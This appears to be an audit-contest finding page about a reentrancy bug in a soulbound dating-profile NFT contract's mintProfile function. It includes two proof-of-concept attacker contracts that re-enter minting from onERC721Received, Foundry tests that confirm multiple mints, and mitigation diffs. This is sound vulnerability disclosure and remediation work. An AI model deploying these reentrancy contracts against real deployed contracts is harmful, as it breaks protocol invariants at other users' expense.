DatingDapp
AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy in mintProfile via _safeMint lets one address mint multiple soulbound profiles

ward0x

Root + Impact

Description

  • Each address should own at most one soulbound profile; mintProfile checks profileToToken[msg.sender] == 0 for that.

  • _safeMint calls onERC721Received on contract receivers before profileToToken[msg.sender] is written. A contract can call mintProfile again from the callback; the check still sees 0, so a new token is minted each time. One address ends up owning several profiles, and profileToToken points to only one of them, so the others can never be burned through burnProfile or blocked through blockProfile.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
@> require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId); // external callback here
_profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId; // state written after the callback
...
}

Path:

  1. Attacker deploys MultiMinter and calls go().

  2. mintProfile -> _safeMint -> onERC721Received -> mintProfile again (check still passes) -> repeat.

  3. The contract owns 3 profile NFTs; profileToToken is set to one id. The other tokens are orphaned: they cannot be burned by the user or blocked by the owner, because both functions look up the token through profileToToken.

Risk

Likelihood:

  • Any user that interacts through a contract (e.g. a smart wallet) can do it; no privileges needed.

Impact:

  • Breaks the one-profile-per-address invariant of a soulbound identity; creates profiles that the owner cannot block, so a blocked actor keeps NFTs that other integrations may treat as verified profiles.

Proof of Concept

Test setup: owner deploys SoulboundProfileNFT and LikeRegistry(address(nft)); alice, bob, carol each get 10 ETH and mint a profile (token ids 1, 2, 3). Full file test/AuditPoC.t.sol, forge test --mc AuditPoC passes.

contract MultiMinter is IERC721Receiver {
SoulboundProfileNFT nft;
uint256 public count;
​
constructor(SoulboundProfileNFT _nft) {
nft = _nft;
}
​
function go() external {
nft.mintProfile("a", 30, "ipfs://a");
}
​
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
if (++count < 3) nft.mintProfile("a", 30, "ipfs://a");
return IERC721Receiver.onERC721Received.selector;
}
}
​
function test_F4_reentrantMintMultipleProfiles() public {
MultiMinter m = new MultiMinter(nft);
m.go();
assertEq(nft.balanceOf(address(m)), 3); // "one profile per address" broken
assertEq(nft.profileToToken(address(m)), 4); // mapping points at the first-minted id (writes unwind)
}

Recommended Mitigation

Write state before the external call (checks-effects-interactions), or use _mint:

uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
-
- // Store metadata on-chain
- _profiles[tokenId] = Profile(name, age, profileImage);
- profileToToken[msg.sender] = tokenId;
+ profileToToken[msg.sender] = tokenId;
+ _profiles[tokenId] = Profile(name, age, profileImage);
+ _safeMint(msg.sender, tokenId);

Adding OpenZeppelin ReentrancyGuard (nonReentrant) to mintProfile also works.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!